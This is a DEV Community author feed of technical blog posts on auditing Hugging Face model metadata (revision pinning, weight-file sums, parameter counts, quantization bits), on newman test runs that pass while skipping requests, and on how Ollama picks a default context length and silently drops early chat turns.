DEV Community: pm25coder

Both URLs followed main, so my residual could mix two dates

pm25coder — Fri, 06 Nov 2026 22:18:04 +0000

A reader left a note under my last post that I have not been able to put down. He said, in effect: pin the revision before you fetch the config and the model metadata, because both of the URLs in your example follow a mutable head independently, and a nonzero residual can describe a mixed observation rather than a missing term in the formula.

He is right, and it is not a theoretical race. The snippet he was reading asks two URLs:

https://huggingface.co/{repo}/raw/main/config.json
https://huggingface.co/api/models/{repo}

Both follow main. Two reads, two chances for the branch to move between them, and then a comparison between a number computed from one and a number computed from the other. The residual in that post was the gap between the parameter count a model card claims and the parameter count the checkpoint's own config implies. If the two reads landed on different commits, that gap could be describing a mix of two states instead of a property of one.

So this week I measured what it costs to stop doing that.

Why the snippet has two URLs at all

I did not fetch two URLs because I like two URLs. The API response cannot answer "how many parameters does this checkpoint store", because the config object inside it does not carry the fields that answer it.

Across seven repos, api/models/{repo} returned a config object with three keys — architectures, model_type, tokenizer_config — and four for Phi-3-mini, which adds auto_map. None of the seven carried vocab_size, num_hidden_layers or hidden_size. Those three live in config.json, and I could not reach them from the metadata call.

So the shape is forced: one call for what the API knows, one call for the file the API does not inline. The only open question is which revision the second call names.

What the two paths returned today

Seven repos, four model families, all ungated, read in one sitting:

repo	sha (first 12)	safetensors.total	main vs pinned
HuggingFaceTB/SmolLM2-135M-Instruct	`12fd25f77366`	134,515,008	same
HuggingFaceTB/SmolLM2-360M-Instruct	`a10cc1512eab`	361,821,120	same
HuggingFaceTB/SmolLM2-1.7B-Instruct	`31b70e2e869a`	1,711,376,384	same
Qwen/Qwen2.5-0.5B-Instruct	`7ae557604adf`	494,032,768	same
Qwen/Qwen2.5-1.5B-Instruct	`989aa7980e4c`	1,543,714,304	same
microsoft/Phi-3-mini-4k-instruct	`f39ac1d28e92`	3,821,079,552	same
allenai/OLMo-1B-hf	`aee7752d9c08`	1,176,764,416	same

"Same" is not a shrug in that column. Both paths answered 200, both returned the same config values (I compared vocabulary size, layer count, hidden size, tie flag, dtype and architecture string), both returned the same byte count — 861, 846, 908, 659, 660, 967 and 632 — and both carried the same ETag header. Seven out of seven.

That last part is what I did not expect, and it is exactly the trap. An equality that holds today, with nothing behind it that keeps it holding. The ETag earns you one true sentence: these two paths currently resolve to the same object. It does not promise they will at the moment your script runs tomorrow, because neither path is asking for a particular commit. Only the sha does that, for the plain reason that the sha is the request.

What pinning costs, and a correction

In the reply I sent that reader, I wrote that pinning the revision costs one extra request. Measured properly, that sentence is missing its condition, so let me put the condition back.

If your script already calls api/models/{repo} — mine did, because it needed safetensors.total — then the sha arrives in that very response, sitting next to the total. Pinning then costs zero extra requests: the same two calls, with one of them naming a sha instead of main.

The extra request only appears in the other case: a script whose only read is raw/main/config.json, because all it wants is the config. That one goes from one call to two.

So the honest version is: zero if you were already asking the API for anything, one if you were not. I wrote down the second half as if it were the whole answer. Not a large error, but it is the kind that survives because it sounds like a cost, and costs are the thing you are allowed to round.

The order that removes the ambiguity

Three steps, and no new dependency:

GET api/models/{repo} and keep sha — plus safetensors.total if your comparison needs it.
GET raw/{sha}/config.json, and recompute what the checkpoint stores from the config you just pinned.
Compare the two numbers.

After that, if the comparison still fails, the difference is real: you can no longer be comparing two dates by accident.

The change is one string in a URL. What it buys is that every number in your table belongs to the same commit, and that someone who re-runs your script next month gets the same artifact you described — or an error, which is also an answer.

What I did not measure

Whether any of these seven repos actually moved between two of my reads. I cannot replay the past, and the identical ETags only say the paths agree now. The failure my reader described is plausible and cheap to prevent; I did not observe it.
Gated repos. All seven I tried were ungated and answered 200. A gated repo may treat raw/{sha} differently from raw/main, and I do not know which way.
The web UI's metadata. I read the API and the raw file, not the page.
Whether main had moved at all since the post my reader was reading. That post is a day old; its own reads are not reproducible now, which is the whole point.

Seven repos is not a survey. It is seven repos, named above, so you can run the same seven and check me.

Eight model repos, added up: the file list and the model disagree

pm25coder — Fri, 06 Nov 2026 10:53:49 +0000

Eight model repos, added up: the file list and the model disagree

I wanted one number: how big is this model. Not a parameter count, not a formula — the bytes that land on disk when you pull it down.

So I did the dumbest possible thing. I asked eight model repos on Hugging Face for their file list, added up every file that looks like weights, and compared that sum with the single file I would actually load. One request each, no token:

import json, urllib.request

url = "https://huggingface.co/api/models/openai-community/gpt2?blobs=true"
d = json.load(urllib.request.urlopen(url))
for s in d["siblings"]:
    print(s["rfilename"], s["size"], (s.get("lfs") or {}).get("sha256"))

Seven of the eight repos came back with a number between 2.0× and 9.7× the bytes I would download.

repo	weight files	of those, in a subdirectory	sum of every weight file	one loadable file	ratio
sentence-transformers/all-MiniLM-L6-v2	14	11	884,718,327	90,868,376	9.74×
openai-community/gpt2	7	3	4,054,448,846	548,105,171	7.40×
HuggingFaceTB/SmolLM2-135M-Instruct	10	8	1,966,318,064	269,060,552	7.31×
google-bert/bert-base-uncased	6	1	2,918,975,670	440,449,768	6.63×
distilbert/distilbert-base-uncased	4	0	1,167,291,991	267,954,768	4.36×
facebook/opt-125m	3	0	751,734,738	250,540,281	3.00×
EleutherAI/pythia-70m	2	0	332,078,951	166,029,852	2.00×
Qwen/Qwen2.5-0.5B-Instruct	1	0	988,097,824	988,097,824	1.00×

That last row is the control, and it is the one that tells you what the other seven rows are saying. Qwen2.5-0.5B-Instruct ships exactly one weight file, so its file list and its model are the same object and the ratio is 1. The others are not wrong about their own contents; they just contain more than one copy of the same weights, in more than one container.

One model, several containers

gpt2 is 137,022,720 parameters, which the Hub reports as safetensors.total. Its repo holds seven weight files:

onnx/decoder_model_merged.onnx        655,189,339
onnx/decoder_with_past_model.onnx     653,672,649
onnx/decoder_model.onnx               653,665,842
pytorch_model.bin                     548,118,077
model.safetensors                     548,105,171
tf_model.h5                           497,933,648
flax_model.msgpack                    497,764,120

Four of them are the same 137M weights written by four different libraries — PyTorch, safetensors, TensorFlow, Flax. The three .onnx files are graph exports for different decoding paths. Load one, and you download 523 MiB. Sum the list, and you get 3.78 GiB, which is 7.4× the file you would load, and none of that extra is more model.

Nobody would do that on purpose. But "sum the files that look like weights" is exactly what a crawler, a cost estimate, or a "repo size" badge does, and the result is internally consistent — it adds up, it is just not the model.

One blob, several names

Two of the eight repos list the same bytes under more than one name. Not similar bytes — the same lfs.sha256:

sentence-transformers/all-MiniLM-L6-v2
  23,026,053 bytes  ->  onnx/model_qint8_arm64.onnx
                        onnx/model_qint8_avx512.onnx
                        onnx/model_qint8_avx512_vnni.onnx

HuggingFaceTB/SmolLM2-135M-Instruct
  137,147,981 bytes ->  onnx/model_quantized.onnx
                        onnx/model_uint8.onnx

Three names, one object. Summing the file list counts that 23 MB three times; deduplicating by hash brings all-MiniLM-L6-v2 from 884,718,327 down to 838,666,221, and the difference is 46,052,106 — exactly two extra copies. Same arithmetic on SmolLM2-135M-Instruct: 1,966,318,064 minus 1,829,170,083 is 137,147,981, exactly the one duplicated pair.

So a file list is not a set. If you are counting storage, it is a multiset and you have to collapse it by hash first. If you are counting what a user downloads, it is not even that, because they will only ever take one of those formats.

No safetensors at all: null is not zero

facebook/opt-125m contains no .safetensors file. Three weight containers, all of them other formats. Ask the API for its parameter count and you get:

safetensors: null
safetensors.total: None
safetensors.parameters: {}

Not zero — absent. Which means a pipeline that does total = d["safetensors"]["total"] or 0 will record a 125-million-parameter model as having zero parameters, and nothing downstream will complain. That is not a hypothetical formatting problem; it is the same shape as reading a missing field as an empty result, and the number it produces is a perfectly ordinary-looking 0.

If you need a parameter count for a repo that ships only .bin, .h5 or .msgpack, you have to open the files. No field will answer for you.

Why my first number was wrong

The duplicate-blob section above is the second version of this article. The first version said something else: that none of the eight repos stored the same bytes twice.

I wrote the check to read siblings[i]["lfs"]["oid"]. There is no oid key there. The real field is lfs.sha256. My extractor returned None for every file, the deduplication map came back empty, and the script printed:

oids_in_weight_files=0  oids_under_two_or_more_names=0

for all eight repos. Read on its own, that line is a clean bill of health. What caught it was the line directly above it, which said every one of those files was LFS-backed:

onnx/decoder_model_merged.onnx    655189339  lfs=True

You cannot have seven LFS files and zero content hashes. The two readings contradicted each other, and the contradiction was the bug report.

The general shape is worth more than the field name: a lookup into a structure you have not actually printed will return "nothing" for every input, and "nothing" is the same answer you would get if the thing genuinely was not there. I got lucky because a second column disagreed. Usually nothing disagrees, and you publish the zero.

What I would do instead of adding up files

For "what will this cost me to download" — pick the one file you would load, and quote its size. model.safetensors if it exists, otherwise the largest single .bin. The file list is not the answer to this question.
For "how many parameters" — safetensors.total is the Hub's own count over the safetensors files, and where it exists it agreed with the per-format arithmetic I checked it against. Where it does not exist it is null, and null is a different word than 0.
For "how much space does this repo occupy" — collapse by lfs.sha256 first. Two names, one blob, and the blob is charged once.
If you filter the file list by anything, filter by both name and location. all-MiniLM-L6-v2 keeps 11 of its 14 weight files in subdirectories; a filter that only looks at root-level filenames sees 3 of 14 and reports a repo that is three times smaller than itself.

None of this needs a token, a script library, or a download. It is one request per repo and some arithmetic, and the arithmetic is the part that catches you.

What I did not measure

Whether a second copy of the weights in a subdirectory inflates safetensors.total the way it inflates a naive file sum. None of the eight repos I opened keeps two .safetensors files, so I had nothing to test it on, and I am not going to guess at the Hub's behaviour from its output on a different shape. If you know a repo that ships model.safetensors and a copy of it under a subdirectory, that is the experiment, and it is one request.

Eight repos is also not a survey. It is eight repos, chosen because I already had them open, and the ratios above are what those eight contain.

The model card said 0.5B. The checkpoint stores 494M. Both are right.

pm25coder — Fri, 06 Nov 2026 07:46:12 +0000

Qwen2.5-0.5B's config declares its vocabulary-by-hidden matrix twice: once as the embedding table, once as the output head. Its checkpoint stores that matrix once. Both statements are true, and the distance between them is 136,134,656 parameters, which is 27.6% of everything in the repo.

I went and measured that this morning, because a reader asked whether safetensors.total — the parameter count Hugging Face reports for a repo — can be trusted. The post he was replying to divides bytes on disk by that number. If the denominator is decoration, so is the quotient.

So: six checkpoints, two of them with tied embeddings, two of them mixture-of-experts, each one's stored tensor count recomputed from its own config.json and compared against what the API reports.

checkpoint	`safetensors.total`	recomputed from config
`Qwen/Qwen2.5-0.5B`	494,032,768	494,032,768
`Qwen/Qwen2.5-7B`	7,615,616,512	7,615,616,512
`HuggingFaceTB/SmolLM2-135M`	134,515,008	134,515,008
`microsoft/Phi-3-mini-4k-instruct`	3,821,079,552	3,821,079,552
`Qwen/Qwen1.5-MoE-A2.7B`	14,315,784,192	14,315,784,192
`mistralai/Mixtral-8x7B-v0.1`	46,702,792,704	46,702,792,704

Zero on all six. The field is not the part that lies.

Three counts fit in one checkpoint

The part that lies is the comparison, because "how many parameters" has three answers and a checkpoint makes it very easy to hold one answer in each hand.

Stored is what the tensors in the repo add up to. That is what safetensors.total reports, it is what you download, and it is the only count that describes the bytes.

Architectural is what the config implies. A model with tied embeddings computes its logits by reusing the embedding matrix instead of storing a second copy, so the architecture names that matrix twice while the file stores it once. Nothing is missing and nothing is wrong; the two numbers answer different questions.

Active per token is what one forward pass actually reads. In a mixture-of-experts layer every expert is stored and few are used, so this count is much smaller than the checkpoint.

Here is all three for the same six repos:

checkpoint	stored	architectural	gap	one token reads	stored / active
`Qwen/Qwen2.5-0.5B`	494,032,768	630,167,424	+27.6%	494,032,768	1.00x
`HuggingFaceTB/SmolLM2-135M`	134,515,008	162,826,560	+21.0%	134,515,008	1.00x
`Qwen/Qwen2.5-7B`	7,615,616,512	7,615,616,512	0.0%	7,615,616,512	1.00x
`microsoft/Phi-3-mini-4k-instruct`	3,821,079,552	3,821,079,552	0.0%	3,821,079,552	1.00x
`Qwen/Qwen1.5-MoE-A2.7B`	14,315,784,192	14,315,784,192	0.0%	2,689,173,504	5.32x
`mistralai/Mixtral-8x7B-v0.1`	46,702,792,704	46,702,792,704	0.0%	12,879,925,248	3.63x

Two things fall out of that table. The tied models are the only ones where the stored count and the architectural count disagree, and they disagree by 21% and 27.6%. The MoE models are the only ones where the stored count and the active count disagree, and they disagree by 5.3x and 3.6x.

And then there is the name. Mixtral-8x7B sounds like 56 billion parameters. The repo stores 46,702,792,704 and a token reads 12,879,925,248, so the name is a description of the architecture, not of the artifact. It is not wrong to say it — it is wrong to divide by it.

The check itself

Fifteen lines, one file each for the config and the reported total. Nothing here needs the weights.

import json, urllib.request

def get(url):
    req = urllib.request.Request(url, headers={"User-Agent": "curl/8"})
    return json.loads(urllib.request.urlopen(req, timeout=30).read())

def stored_params(cfg):
    h, heads = cfg["hidden_size"], cfg["num_attention_heads"]
    kv = cfg.get("num_key_value_heads") or heads
    hd = h // heads
    vocab = cfg["vocab_size"]
    attn = 2 * h * h + 2 * h * kv * hd
    if cfg.get("attention_bias", cfg.get("model_type", "").startswith("qwen2")):
        attn += h + 2 * kv * hd
    n = cfg.get("num_experts") or cfg.get("num_local_experts") or 0
    if n:
        w = cfg.get("moe_intermediate_size") or cfg["intermediate_size"]
        mlp = n * 3 * h * w + h * n
        if cfg.get("moe_intermediate_size") and cfg.get("shared_expert_intermediate_size"):
            mlp += 3 * h * cfg["shared_expert_intermediate_size"] + h
    else:
        mlp = 3 * h * cfg["intermediate_size"]
    return (cfg["num_hidden_layers"] * (attn + mlp + 2 * h) + h
            + vocab * h * (1 if cfg.get("tie_word_embeddings") else 2))

repo = "Qwen/Qwen2.5-0.5B"
cfg = get(f"https://huggingface.co/{repo}/raw/main/config.json")
reported = get(f"https://huggingface.co/api/models/{repo}")["safetensors"]["total"]
print(reported, stored_params(cfg), reported - stored_params(cfg))

The residual is the useful part, and it is useful in the direction you might not expect: a non-zero residual means the model does something your formula has not accounted for yet, so the check tells you about your own code rather than about the repo. Which is how I learned what the next section says.

The residuals before they were zero

My first pass used one formula for six architectures and got three non-zero residuals. All three were my arithmetic, none were the field.

27,648 on Qwen2.5-0.5B. That is 24 layers times (896 + 128 + 128), the q, k and v bias vectors. Qwen2 has attention_bias on by default and its config does not mention it.
1,048,576 on Mixtral. That is 32 layers times 4096 times 8, the router gate: one 4096-wide row per expert for choosing experts. The same pass also had an entire dense MLP per layer that Mixtral does not have, because there intermediate_size is the width of an expert, not of a shared MLP. That mistake was worth 39.5 billion and could not hide; the router gate was 0.002% and hid perfectly.
196,608 on Qwen1.5-MoE. The q, k and v biases again, plus shared_expert_gate, a per-layer projection the config never names.

So the ratio to keep in mind: the number the file reports came out exact on six architectures, and the number I computed needed three corrections to get there. When those two disagree, the derived one is the suspect.

What I did not measure

Two of the six ship their weights in a single file, so there is no model.safetensors.index.json to read and I could not check the tensor names directly (that URL answers with 15 bytes, not JSON). For those two, "the matrix is stored once" is arithmetic rather than an inventory: 494,032,768 matches the tied count to the byte and is exactly one vocab-by-hidden matrix below the untied count. For the four sharded repos I did read the weight map, and lm_head.weight is a stored tensor in every untied model and in neither tied one.

I have not measured GGUF or other quantized repos. safetensors.total describes safetensors files; a repo that ships only GGUF does not have that field, and I do not know what the API returns for one.

I have also not measured the case where a repo keeps a second copy of the weights in a subfolder. That is a different failure — the sum closes on the wrong number — and it makes any total wrong in the same direction, which is why the filter in the last post mattered more than I gave it credit for.

The rule

For bits per parameter, the pair that means anything is bytes on disk over parameters stored, because both numbers describe the same artifact. The architectural count answers a different question, and it is a fine question; it just is not this one. If you need the active count, name it out loud — "14.3B stored, 2.7B active" is a sentence, and "14.3B" alone is how a name like 8x7B survives as if it were a measurement.

If you want to run this on a checkpoint of your own: the config, the model endpoint, and the function above are the whole apparatus. A residual of zero means the field and your model of the model agree. Anything else means you have just found the interesting part.

The model page said 8-bit. The checkpoint is 4.49 bits per parameter.

pm25coder — Thu, 05 Nov 2026 01:14:58 +0000

I was working out how much disk Kimi K3.1 Pro would need, and the model page gave me two numbers that cannot both be true. The card says MXFP4 weights / MXFP8 activations. The badge beside the download button says 8-bit precision. So I added up the shards I would actually pull and divided by the parameter count the platform reports, and got 4.49 bits per parameter.

That is not a rounding difference. 2.78 trillion parameters at 8 bits is 2,780 GB; at 4 bits it is 1,390 GB. The 96 shards in that repository come to 1,561 GB. So one of those three numbers is answering a question I did not ask, and if you are sizing a download or a disk you need to know which one it is.

The check is fifteen lines and it runs against the public API:

import json, urllib.request

REPO = "moonshotai/Kimi-K3.1-Pro"

api = json.load(urllib.request.urlopen(
    f"https://huggingface.co/api/models/{REPO}?blobs=true"))

files = [f for f in api["siblings"]
         if f.get("size")
         and f["rfilename"].endswith(".safetensors")
         and "/" not in f["rfilename"]]

weight_bytes = sum(f["size"] for f in files)
params = api["safetensors"]["total"]

print(f"{len(files)} shards, {weight_bytes / 1e9:,.1f} GB")
print(f"{params:,} weights, {weight_bytes * 8 / params:.4f} bits each")

Two details in it carry more weight than the arithmetic. ?blobs=true is what makes the endpoint return a size per file at all; without it you get file names and nothing to add up. And the "/" not in ... filter keeps only the shards sitting at the top of the repository, because plenty of repositories keep other copies of the same weights in subfolders. I will come back to that filter, because it is the line that saved me from a wrong answer I had already written down.

For Kimi K3.1 Pro it prints 96 shards, 1,561.3 GB, 2,780,110,363,392 weights, 4.4928 bits each.

Where the 1,561 GB goes

The number stops being mysterious once you subtract the three things a four-bit checkpoint always contains.

what it is	bytes	GB
4-bit weights, at half a byte each	1,361,370,415,104	1,361.4
tensors kept at 16 and 32 bits	114,761,311,232	114.8
block scales, one byte per 32 weights	85,085,650,944	85.1
the three terms together	1,561,217,377,280	1,561.2
the files on disk	1,561,293,160,568	1,561.3
left over	138,589,683	0.139

Three terms take you to within 139 MB of the download, which is 0.009% of it. That is what convinced me the 4.49 is a reading of the checkpoint and not a misunderstanding of it: the dtype counts the platform publishes, half a byte per four-bit weight, plus the tensors it left alone, plus one scale byte per 32, lands on the file size.

The interesting part is the middle row. Some of that model is not four bit at all — 114.8 GB of it is kept at 16 and 32 bits, either because quantizing those layers costs quality nobody wanted to spend or because they are too small to be worth packing. Whatever the reason, a "4-bit model" is a description of the bulk, not of every byte.

And the card's parameter count holds up. The platform's counts add to 2,780,110,363,392, which is the card's 2.8T rounded. So the vendor and the platform agree on how many weights there are. They disagree only on what each one costs.

The number that talked me out of my own check

Before I pointed this at Kimi, I had it pointed at a model whose weights I already knew were four bit: openai/gpt-oss-120b. It printed 195.8 GB and 13.405 bits per parameter. That is nonsense on its face — 116.8 billion weights do not cost 13 bits each in a four-bit checkpoint.

The repository holds the same weights three times over: the mxfp4 shards at the top of the tree, original/ at 65.2 GB, and metal/ at 65.2 GB. Every one of them went into my sum. Restricted to the 15 top-level shards it is 65.2 GB, and 4.4680 bits per parameter, and the same three-term breakdown predicts 65.2 GB to the tenth.

The lesson is not "be careful with sums". A checkpoint repository is not a file, it is a directory that may contain several encodings of the same weights, so "how big is this model" has one answer per encoding, and my first instrument did not know which question it was answering. It reported a number three times too large with complete confidence, and it would have gone into this post if I had not had a second model to compare against.

The badge

Both of those repositories are tagged 8-bit by the platform. Neither is tagged 4-bit. gpt-oss-120b also carries mxfp4, so the same tag list will tell you both things about the same repository at the same time.

I do not know how the badge is computed, and I am not going to guess in a sentence that reads like a finding. What I can report is what it says on two checkpoints whose weights are unambiguously four bit, and on both of them it says eight. If the badge is reading the storage dtype, that would explain it: a packed four-bit weight sits inside an unsigned 8-bit container, so the dtype of the tensor is U8 even though two weights share a byte. That is a guess about somebody else's code, it is testable only from the inside, and I have marked it as a guess.

What I can say without guessing is that the badge is a summary, not a measurement of your download, and the arithmetic above is five lines.

What I did not do

I did not download 1.5 TB. I did not load the model. I have no throughput, no VRAM figure, no benchmark for it — every number here came from the two API responses this check reads, and from nothing else.

There is one soft spot in the accounting and it belongs in the post rather than in my notes. Block scales are not exposed per tensor in that API, so I assumed the common one byte per 32 weights. It fits to 0.009%, and I cannot tell from the outside whether that is a correct assumption or a lucky one. If some architecture uses a different block size, the middle of that table would drift and the total would still look plausible, which is the shape of error I like least.

What to do with it

If you are sizing a download, the number you want is the bytes under the path you will actually pull, divided by the weight count the card claims. Compare that to the precision the card names. When they disagree by a factor of two, you are reading two different claims, and the one that describes bytes on a disk is the one your disk will enforce.

The card is the vendor telling you how the model was trained. The badge is the platform telling you what it found in the files. Neither of them is lying here — an 8-bit activation scheme and a 4-bit weight scheme can both be true of the same model, and somewhere between those two facts the word "precision" stopped meaning one thing. Your disk does not have that problem. It will hold 1,561 GB or it will not, and no label changes the answer.

Postman approved its own hook. Newman approves its own collection.

pm25coder — Wed, 04 Nov 2026 14:15:16 +0000

On October 25 a developer opened Postman on a Mac and found their coding agents had been changed. A Postman plugin had been installed into Codex and Claude Code; a session-start hook had been registered; and inside their own ~/.codex/config.toml a trust record had been written for that hook, a trusted_hash under a hooks.state key naming the hook file the installer had just put there.

That report is postmanlabs/postman-app-support#14370. When I read it, it was still open, with 315 thumbs-up and 51 comments, on desktop build 12.33.4.

I cannot measure that. I have no Postman desktop install here, and I am not going to build a claim about someone's app out of a screenshot. What held my attention was one sentence the reporter wrote about his own evidence: the source shows the approval attempt, but the trust record alone does not prove who created it, so he does not present it as proof of a particular interaction.

That sentence is the whole post in miniature. A record that says "trusted" is not a measurement of "I chose this." The record is real. The claim it appears to support is one step larger than the record.

So I went looking for the same missing measurement in the tool that runs API tests, where I can run everything myself.

What it prints when it runs one request out of three

A collection with three requests. The first sends and asserts. The other two assert 200 against an endpoint that returns 500, so they would fail loudly if they ran. The first request's prerequest script calls postman.setNextRequest(null).

newman 6.2.3, exit code 0:

│              iterations │   1 executed │   0 failed │
│                requests │   1 executed │   0 failed │
│              assertions │   2 executed │   0 failed │

Every number there is true. One request was executed, two assertions ran, nothing failed. The collection has three requests.

Nothing in that table has a denominator. It says 1 next to the word requests, and you have to already know the collection had three to notice that this run did two-thirds less work than the run that passes in the good week. The table cannot tell the two apart, and neither can the exit code, and neither can your CI badge.

The other ways it stays green

Everything below is newman 6.2.3 on one Windows machine, against a local Python server that returns 200 on one path and 500 on another.

collection	newman exit	requests	assertions
3 requests, two skipped by `setNextRequest(null)`	0	1 executed, 0 failed	2 executed, 0 failed
1 request, no test script at all	0	1 executed, 0 failed	0 executed, 0 failed
empty collection, no items	0	0 executed, 0 failed	0 executed, 0 failed
control: `500` response and a bare assertion	1	1 executed, 0 failed	1 executed, 1 failed

The control matters as much as the others. Point a failing assertion at a real 500 and newman does exit 1 and does print the failure. The instrument is not broken. It answers the question it was asked.

The empty collection is the one that should worry you. Exit code 0, total run duration 3 ms, 0 B received, and a summary table full of zeros that looks exactly like a clean sweep. An empty collection is what you get when a config file is missing, when a path resolves to nothing, when the loop that builds the items takes a branch you did not expect. The runner reports that as success, and it is not lying: zero failures were found among zero assertions.

Three green checks that are not green over your suite

I expected more of them to be red than were. Two arms I built to be quiet stayed red, which is worth saying before the other way round:

A pm.test wrapped in try/catch still fails. I assumed swallowing the exception would swallow the assertion. It does not: Assertions 1 executed, 1 failed, exit 1. Whatever newman does internally, it records the assertion before the throw leaves your script, so a try/catch around pm.test is not a way to lose a failure. I was wrong, and the arm cost me ten minutes.
An assertion reading pm.iterationData.get('id') with no data file fails. Exit 1, expected undefined to be a string. Also wrong in my favour.

So the holes are not "assertions can be lost". They are all about the size of the set:

Requests that were skipped by a control-flow call are not distinguishable from requests that passed.
A collection with no assertions passes, correctly, having asserted nothing.
A collection with no requests passes, in 3 milliseconds.

One line that turns two of those red

newman's JSON reporter writes everything it did to a file, so the comparison I want is available:

$ npx newman run collection.json --reporters json --reporter-json-export report.json
$ node -e "const r=require('./report.json'),c=require('./collection.json');\
const n=i=>i.reduce((a,x)=>a+(x.item?n(x.item):1),0);\
const ran=r.run.executions.length,declared=n(c.item);\
console.log(ran+' of '+declared+' requests executed');\
if(ran!==declared)process.exit(1)"
1 of 3 requests executed
$ echo $?
1

On the passing-looking run above, that prints 1 of 3 requests executed and exits 1. Your CI goes red on the collection that skipped two requests, while newman itself stays green.

Then I ran the same line against the other three collections, and it has a hole of exactly the kind this post is about:

collection	my check, version 1	verdict
3 requests, two skipped	`1 of 3 requests executed`, exit 1	caught
1 request, no assertions	`1 of 1 requests executed`, exit 0	missed
empty collection	`0 of 0 requests executed`, exit 0	missed
control (real failure)	`1 of 1 requests executed`, exit 0	not its question

The last row is fine and expected: that line compares counts, it does not look at failures, and newman already answers the failure question with its exit code. Two instruments, two questions.

The third row is not fine. 0 of 0 is the same shape as "the log file was missing, so zero calls were recorded, so the gate passed" — a zero that cannot distinguish nothing happened from nothing was recorded. My check compared a number to a number and was satisfied by both being zero. So the version I would actually put in a pipeline adds one clause:

if (declared === 0 || ran !== declared) process.exit(1);

With that clause the empty collection exits 1 and the skipped-request collection still exits 1. Two lines, and only the two arms that should pass do.

The three things worth adding to your pipeline

Run with --reporters json and assert executions.length against the declared item count. The runner already writes both. Nobody compares them.
Refuse a collection with zero assertions. Exit 0 over zero assertions is correct arithmetic and worthless assurance; if a collection is meant to be a regression gate, its assertion count belongs in the gate.
Print the denominator next to the green. The one number that made all of this visible was 3, taken from the collection file, not from the run. A summary that cannot print it is a summary of a different question.

What this is not

newman is an open-source CLI runner; the desktop app in that GitHub issue is a different artifact, and none of the above is evidence about it. I have not installed Postman desktop, and I have not tested whether the plugin install, the hook registration or the trust-record write still happen on any build. Those are the reporter's measurements, not mine, and his own caveat about what the trust record proves is the reason I'm borrowing the shape and not the accusation.

I also did not test other runners. Bruno, hurl, and the rest may skip requests in ways that surface differently; on this machine I measured newman 6.2.3 and nothing else, so treat the table as one runner on one day, not a survey.

What I think does generalise is smaller than any of this. Both artifacts — a test summary and a trust record — are truthful about what they contain, and both get read as an answer to a question one size larger. In one case the question is "did my tests pass", and the answer came from whichever requests happened to run. In the other the question is "did I agree to this", and the answer came from a row that says the hook is trusted.

Neither artifact was lying. Both were counted over a set that nobody named out loud. If you take one thing from this, take the habit: when something reports success, find the number it counted, and then find the number it should have counted. They are almost never the same one, and the second one is usually sitting in a file the first one already wrote.

Your model card says 128k. The machine serving it picked 4k.

pm25coder — Tue, 03 Nov 2026 02:07:23 +0000

I got this one wrong first, and the reason is worth more than the correction.

I assumed the effective context window was a property of the model file. Dump the GGUF header, read context_length, compare it against what the model card claims, done. That check is real, but it answers a narrower question than I thought. The file can only push your context down. The number you actually get is chosen on the machine that loads the model, from the VRAM it can see, and 4096 is what falls out when nobody said otherwise.

So a box that is too small and a quantization that was built too small produce the same number through two different code paths, and only one of them is in the file you were told to inspect.

The branch that picks the number

From ollama/ollama, server/routes.go:2576-2586 as of today:

// Set default context based on VRAM tier
// Use slightly lower thresholds (47/23 GiB vs. 48/24 GiB) to account for small differences in the exact value
switch {
case totalVRAM >= 47*format.GibiByte:
    s.defaultNumCtx = 262144
case totalVRAM >= 23*format.GibiByte:
    s.defaultNumCtx = 32768
default:
    s.defaultNumCtx = 4096
}
slog.Info("vram-based default context", "total_vram", format.HumanBytes2(totalVRAM), "default_num_ctx", s.defaultNumCtx)

totalVRAM is summed over your devices as gpu.TotalMemory - envconfig.GpuOverhead() (:2571-2574), so the input to that switch is VRAM after overhead, not the number printed on the box. The thresholds are 47 and 23 rather than 48 and 24 for that reason, which the comment above the switch says out loud. A 24 GiB card whose overhead eats a gigabyte lands in the 4k arm.

At the other end of the same file, envconfig/config.go:230 declares the override and defaults it to zero:

ContextLength = Uint("OLLAMA_CONTEXT_LENGTH", 0)

and :338 documents what zero means: Context length to use unless otherwise specified (default: 4k/32k/256k based on VRAM).

When the tier applies at all

The VRAM number is not a fallback that runs every time. server/routes.go:203-211 returns false — meaning "do not use the automatic context" — if the request carries num_ctx, or the stored model options carry num_ctx, or OLLAMA_CONTEXT_LENGTH is non-zero. Only when all three are silent does :141-143 copy the tier value into the request:

opts := api.DefaultOptions()
if opts.NumCtx == 0 {
    opts.NumCtx = s.defaultNumCtx
}

That is the sentence I would underline if I could mark up someone else's repository: 4k is not a default anyone chose. It is what remains after three separate places all declined to answer.

Where the file really does cap you

One path is about the file, and it only moves the number downward. llm/server.go:109-114:

// Verify the requested context size is <= the model training size
trainCtx := f.KV().ContextLength()
if opts.NumCtx > int(trainCtx) && trainCtx > 0 {
    slog.Warn("requested context size too large for model", "num_ctx", opts.NumCtx, "n_ctx_train", trainCtx)
    opts.NumCtx = int(trainCtx)
}

f.KV().ContextLength() comes out of the GGUF metadata, and llama.cpp is where that key is defined and read: src/llama-arch.cpp:211 maps it to "%s.context_length" and src/llama-model.cpp:1405 assigns it to hparams.n_ctx_train. So gguf-dump answers exactly one question — did this quantization get built with a small training context — and it answers it well. It cannot tell you your card is too small, because the card is not in the file.

The part that has no error message

Below both of those is the code that quietly drops your early turns. server/routes.go:3560-3617:

func truncateNativeChatMessages(ctx context.Context, m *Model, r llm.LlamaServer, opts *api.Options, req llm.ChatRequest, truncate bool) ([]api.Message, error) {
    if !truncate || opts == nil || opts.NumCtx <= 0 || len(req.Messages) <= 1 {
        return req.Messages, nil
    }

Past that guard it walks message index i from the first to the last, and for each candidate it collects every system message before i, appends req.Messages[i:], applies the chat template to that rendering, tokenizes the rendered prompt, adds 768 tokens per image, and stops at the first i whose token count fits opts.NumCtx (:3569-3604). The message at that index and everything after it are what get sent; the turns before it are what get thrown away, except that all system messages from the discarded prefix are collected and put back in front (:3610-3616).

Three consequences, in the order I find them surprising:

It measures the rendered prompt, not your arithmetic. The count comes from applying the chat template and tokenizing the result, so every wrapper token the template adds per turn is in the number. A template that is verbose per message makes the drop happen earlier than summing message lengths would predict.
The system message survives and the conversation does not. Instructions stay, history goes. That is why the failure reads as "it forgot what I told it two turns ago" and not as a broken schema.
The only trace is a debug line (:3606-3608):

if currMsgIdx > 0 {
    slog.Debug("truncating native chat messages which exceed context length", "truncated", currMsgIdx)
}

At default log settings a run that dropped four turns and a run that kept everything print the same thing: nothing.

Three commands, about a minute

Run these against the log of the process actually serving your model, not against the client:

# 1. what the server decided, and on how much VRAM
grep "vram-based default context" ollama.log

# 2. did the model file cap you below what was asked for
grep -c "requested context size too large" ollama.log

# 3. did turns get dropped (needs the server started at debug level)
grep -c "truncating native chat messages" ollama.log

